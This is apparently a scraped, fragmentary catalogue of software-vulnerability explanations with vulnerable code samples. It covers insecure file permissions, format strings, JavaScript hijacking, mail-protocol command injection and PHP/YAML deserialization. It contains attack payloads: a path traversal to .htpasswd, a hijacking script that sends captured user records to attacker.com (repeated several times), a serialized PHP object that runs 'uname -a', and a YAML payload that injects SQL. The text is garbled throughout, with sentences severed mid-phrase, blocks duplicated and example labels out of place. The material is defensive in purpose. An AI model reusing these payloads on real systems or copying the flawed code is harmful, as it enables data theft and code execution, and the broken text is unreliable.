permissions := strconv.Atoi(os.Getenv("filePermissions"));
fMode := os.FileMode(permissions)
os.chmod(filePath, fMode);
...
String permissionMask = System.getProperty("defaultFileMask");
Path filePath = userFile.toPath();
...
Set<PosixFilePermission> perms = PosixFilePermissions.fromString(permissionMask);
Files.setPosixFilePermissions(filePath, perms);
...
$rName = $_GET['publicReport'];
chmod("/home/". authenticateUser . "/public_html/" . rName,"0755");
...
publicReport
, such as "../../localuser/public_html/.htpasswd
", the application will make the specified file readable to the attacker.
...
$mask = $CONFIG_TXT['perms'];
chmod($filename,$mask);
...
permissions = os.getenv("filePermissions");
os.chmod(filePath, permissions);
...
...
rName = req['publicReport']
File.chmod("/home/#{authenticatedUser}/public_html/#{rName}", "0755")
...
publicReport
, such as "../../localuser/public_html/.htpasswd
", the application will make the specified file readable to the attacker.
...
mask = config_params['perms']
File.chmod(filename, mask)
...
services-config.xml
descriptor file specifies a "Logging" XML element to describe various aspects of logging. It looks like the following:
<logging>
<target class="flex.messaging.log.ConsoleTarget" level="Debug">
<properties>
<prefix>[BlazeDS]</prefix>
<includeDate>false</includeDate>
<includeTime>false</includeTime>
<includeLevel>false</includeLevel>
<includeCategory>false</includeCategory>
</properties>
<filters>
<pattern>Endpoint.*</pattern>
<pattern>Service.*</pattern>
<pattern>Configuration</pattern>
</filters>
</target>
</logging>
target
tag takes an optional attribute called level
, which indicates the log level. If the debug level is set to too detailed a level, your application may write sensitive data to the log file.sprintf()
, FormatMessageW()
, or syslog()
.snprintf()
.
int main(int argc, char **argv){
char buf[128];
...
snprintf(buf,128,argv[1]);
}
%x
, than the function takes as arguments to be formatted. (In this example, the function takes no arguments to be formatted.) By using the %n
formatting directive, the attacker may write to the stack, causing snprintf()
to write the number of bytes output thus far to the specified argument (rather than reading a value from the argument, which is the intended behavior). A sophisticated version of this attack will use four staggered writes to completely control the value of a pointer on the stack.
printf("%d %d %1$d %1$d\n", 5, 9);
5 9 5 5
Example 1
.syslog()
function is sometimes used as follows:
...
syslog(LOG_ERR, cmdBuf);
...
syslog()
is a format string, any formatting directives included in cmdBuf
are interpreted as described in Example 1
.syslog()
:
...
syslog(LOG_ERR, "%s", cmdBuf);
...
sprintf()
, FormatMessageW()
, syslog()
, NSLog
, or NSString.stringWithFormat
Example 1: The following code utilizes a command line argument as a format string in NSString.stringWithFormat:
.
int main(int argc, char **argv){
char buf[128];
...
[NSString stringWithFormat:argv[1], argv[2] ];
}
%x
, than the function takes as arguments to be formatted. (In this example, the function takes no arguments to be formatted.)
printf("%d %d %1$d %1$d\n", 5, 9);
5 9 5 5
Example 1
.syslog()
function is sometimes used as follows:
...
syslog(LOG_ERR, cmdBuf);
...
syslog()
is a format string, any formatting directives included in cmdBuf
are interpreted as described in Example 1
.syslog()
:Example 4: Apple core classes provide interesting avenues for exploiting format string vulnerabilities.
...
syslog(LOG_ERR, "%s", cmdBuf);
...
String.stringByAppendingFormat()
function is sometimes used as follows:
...
NSString test = @"Sample Text.";
test = [test stringByAppendingFormat:[MyClass
formatInput:inputControl.text]];
...
stringByAppendingFormat()
:
...
NSString test = @"Sample Text.";
test = [test stringByAppendingFormat:@"%@", [MyClass
formatInput:inputControl.text]];
...
strncpy()
, can cause vulnerabilities when used incorrectly. The combination of memory manipulation and mistaken assumptions about the size or makeup of a piece of data is the root cause of most buffer overflows.
void wrongNumberArgs(char *s, float f, int d) {
char buf[1024];
sprintf(buf, "Wrong number of %.512s");
}
strncpy()
, can cause vulnerabilities when used incorrectly. The combination of memory manipulation and mistaken assumptions about the size or makeup of a piece of data is the root cause of most buffer overflows.f
from a float using a %d
format specifier.
void ArgTypeMismatch(float f, int d, char *s, wchar *ws) {
char buf[1024];
sprintf(buf, "Wrong type of %d", f);
...
}
script
tag.
<script src="http://www.example.com/js/fancyWidget.js"></script>
www.example.com
, then the site is dependent upon www.example.com
to serve up correct and non-malicious code. If attackers can compromise www.example.com
, then they can alter the contents of fancyWidget.js
to subvert the security of the site. They could, for example, add code to fancyWidget.js
to steal a user's confidential data.
...
String lang = Request.Form["lang"];
WebClient client = new WebClient();
client.BaseAddress = url;
NameValueCollection myQueryStringCollection = new NameValueCollection();
myQueryStringCollection.Add("q", lang);
client.QueryString = myQueryStringCollection;
Stream data = client.OpenRead(url);
...
lang
such as en&poll_id=1
, and then the attacker may be able to change the poll_id
at will.
...
String lang = request.getParameter("lang");
GetMethod get = new GetMethod("http://www.example.com");
get.setQueryString("lang=" + lang + "&poll_id=" + poll_id);
get.execute();
...
lang
such as en&poll_id=1
, and then the attacker will be able to change the poll_id
at will.
<%
...
$id = $_GET["id"];
header("Location: http://www.host.com/election.php?poll_id=" . $id);
...
%>
name=alice
specified, but they've added an additional name=alice&
, and if this is being used on a server that takes the first occurrence, then this may impersonate alice
in order to get further information regarding her account.
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
from django.http.response import JsonResponse
...
def handle_upload(request):
response = JsonResponse(sensitive_data, safe=False) # Sensitive data is stored in a list
return response
<script>
tag and is therefore vulnerable to JavaScript hijacking [1]. By default, the framework use the POST method to submit requests, which makes it difficult to generate a request from a malicious <script>
tag (since <script>
tags only generate GET requests). However, Microsoft AJAX.NET does provide mechanisms for using GET requests. In fact, many experts encourage programmers to use GET requests in order to leverage browser caching and improve performance.
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
<script>
tag and is therefore vulnerable to JavaScript hijacking [1]. By default, the framework uses the POST method to submit requests, which makes it difficult to generate a request from a malicious <script>
tag (since <script>
tags only generate GET requests). However, GWT does provide mechanisms for using GET requests. In fact, many experts encourage programmers to use GET requests in order to leverage browser caching and improve performance.
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
chroot()
should be dropped immediately after the operation is performed.chroot()
, it must first acquire root
privilege. As soon as the privileged operation has completed, the program should drop root
privilege and return to the privilege level of the invoking user.chroot()
to restrict the application to a subset of the file system below APP_HOME
in order to prevent an attacker from using the program to gain unauthorized access to files located elsewhere. The code then opens a file specified by the user and processes the contents of the file.
...
chroot(APP_HOME);
chdir("/");
FILE* data = fopen(argv[1], "r+");
...
setuid()
with some non-zero value means the application is continuing to operate with unnecessary root
privileges. Any successful exploit carried out by an attacker against the application can now result in a privilege escalation attack because any malicious operations will be performed with the privileges of the superuser. If the application drops to the privilege level of a non-root
user, the potential for damage is substantially reduced.CREATE
command that is sent to the IMAP server. An attacker may use this parameter to modify the command sent to the server and inject new commands using CRLF characters.
...
final String foldername = request.getParameter("folder");
IMAPFolder folder = (IMAPFolder) store.getFolder("INBOX");
...
folder.doCommand(new IMAPFolder.ProtocolCommand() {
@Override
public Object doCommand(IMAPProtocol imapProtocol) throws ProtocolException {
try {
imapProtocol.simpleCommand("CREATE " + foldername, null);
} catch (Exception e) {
// Handle Exception
}
return null;
}
});
...
USER
and PASS
command that is sent to the POP3 server. An attacker may use this parameter to modify the command sent to the server and inject new commands using CRLF characters.
...
String username = request.getParameter("username");
String password = request.getParameter("password");
...
POP3SClient pop3 = new POP3SClient(proto, false);
pop3.login(username, password)
...
VRFY
command that is sent to the SMTP server. An attacker might use this parameter to modify the command sent to the server and inject new commands using CRLF characters.
...
c, err := smtp.Dial(x)
if err != nil {
log.Fatal(err)
}
user := request.FormValue("USER")
c.Verify(user)
...
VRFY
command that is sent to the SMTP server. An attacker may use this parameter to modify the command sent to the server and inject new commands using CRLF characters.
...
String user = request.getParameter("user");
SMTPSSLTransport transport = new SMTPSSLTransport(session,new URLName(Utilities.getProperty("smtp.server")));
transport.connect(Utilities.getProperty("smtp.server"), username, password);
transport.simpleCommand("VRFY " + user);
...
VRFY
command that is sent to the SMTP server. An attacker may use this parameter to modify the command sent to the server and inject new commands using CRLF characters.
...
user = request.GET['user']
session = smtplib.SMTP(smtp_server, smtp_tls_port)
session.ehlo()
session.starttls()
session.login(username, password)
session.docmd("VRFY", user)
...
null
.Item
property is null
before calling the member function Equals()
, potentially causing a null
dereference.
string itemName = request.Item(ITEM_NAME);
if (itemName.Equals(IMPORTANT_ITEM)) {
...
}
...
null
value."null
.malloc()
.
buf = (char*) malloc(req_size);
strncpy(buf, xfer, req_size);
malloc()
fail because req_size
was too large or because there were too many requests being handled at the same time? Or was it caused by a memory leak that has built up over time? Without handling the error, there is no way to know.null
.getParameter()
is null
before calling the member function compareTo()
, potentially causing a null
dereference.Example 2:. The following code shows a system property that is set to
String itemName = request.getParameter(ITEM_NAME);
if (itemName.compareTo(IMPORTANT_ITEM)) {
...
}
...
null
and later dereferenced by a programmer who mistakenly assumes it will always be defined.
System.clearProperty("os.name");
...
String os = System.getProperty("os.name");
if (os.equalsIgnoreCase("Windows 95") )
System.out.println("Not supported");
null
value."unserialize()
function. Attackers could pass specially crafted serialized strings to a vulnerable unserialize()
call, resulting in an arbitrary PHP object(s) injection into the application scope. The severity of this vulnerability depends on the classes available in the application scope. Classes implementing PHP magic method such as __wakeup
or __destruct
will be interesting for the attackers since they will be able to execute the code within these methods.__destruct()
magic method and executing a system command defined as a class property. There is also an insecure call to unserialize()
with user-supplied data.
...
class SomeAvailableClass {
public $command=null;
public function __destruct() {
system($this->command);
}
}
...
$user = unserialize($_GET['user']);
...
Example 1
, the application may be expecting a serialized User
object but an attacker may actually provide a serialized version of SomeAvailableClass
with a predefined value for its command
property:
GET REQUEST: http://server/page.php?user=O:18:"SomeAvailableClass":1:{s:7:"command";s:8:"uname -a";}
$user
object and then it will execute the command provided by the attacker.unserialize()
is being called using a technique known as "Property Oriented Programming", which was introduced by Stefan Esser during BlackHat 2010 conference. This technique allows an attacker to reuse existing code to craft its own payload.YAML.load()
. Attackers could pass specially crafted serialized strings to a vulnerable YAML.load()
call, resulting in arbitrary Ruby objects being injected into the program, as long as the class is loaded into the application at the time of deserialization. This may open up a whole heap of various attack opportunities, such as bypassing validation logic to find cross-site scripting vulnerabilities, allow SQL injection through what appear to be hardcoded values, or even full code execution.YAML.load()
with user-supplied data.
...
class Transaction
attr_accessor :id
def initialize(num=nil)
@id = num.is_a?(Numeric) ? num : nil
end
def print_details
unless @id.nil?
print $conn.query("SELECT * FROM transactions WHERE id=#{@id}")
end
end
end
...
user = YAML.load(params[:user]);
user.print_details
...
Example 1
, the application may be expecting a serialized User
object, which also happens to have a function called print_details
, but an attacker may actually provide a serialized version of a Transaction
object with a predefined value for its @id
attribute. A request such as the following can thus allow bypassing of the validation check that attempts to make sure @id
is a numeric value
GET REQUEST: http://server/page?user=!ruby%2Fobject%3ATransaction%0Aid%3A4%20or%205%3D5%0A
user
parameter is assigned !ruby/object:Transaction\nid:4 or 5=5\n
.Transaction
, setting @id
to "4 or 5=5"
. When the developer believes they will be calling User#print_details()
, they will now be calling Transaction#print_details()
, and Ruby's string interpolation will mean the SQL query will be changed to execute the query: SELECT * FROM transactions WHERE id=4 or 5=5
. Due to the extra clause that was added, the query evaluates to true
and will return everything within the transactions
table instead of the single row that was intended from the developer.YAML.load()
is being called using a technique known as "Property Oriented Programming", which was introduced by Stefan Esser during BlackHat 2010 conference. This technique allows an attacker to reuse existing code to craft its own payload.clone()
method should call super.clone()
to obtain the new object.clone()
should obtain the new object by calling super.clone()
. If a class fails to follow this convention, a subclass's clone()
method will return an object of the wrong type.super.clone()
. Because of the way Kibitzer
implements clone()
, FancyKibitzer
's clone method will return an object of type Kibitzer
instead of FancyKibitzer
.
public class Kibitzer implements Cloneable {
public Object clone() throws CloneNotSupportedException {
Object returnMe = new Kibitzer();
...
}
}
public class FancyKibitzer extends Kibitzer
implements Cloneable {
public Object clone() throws CloneNotSupportedException {
Object returnMe = super.clone();
...
}
}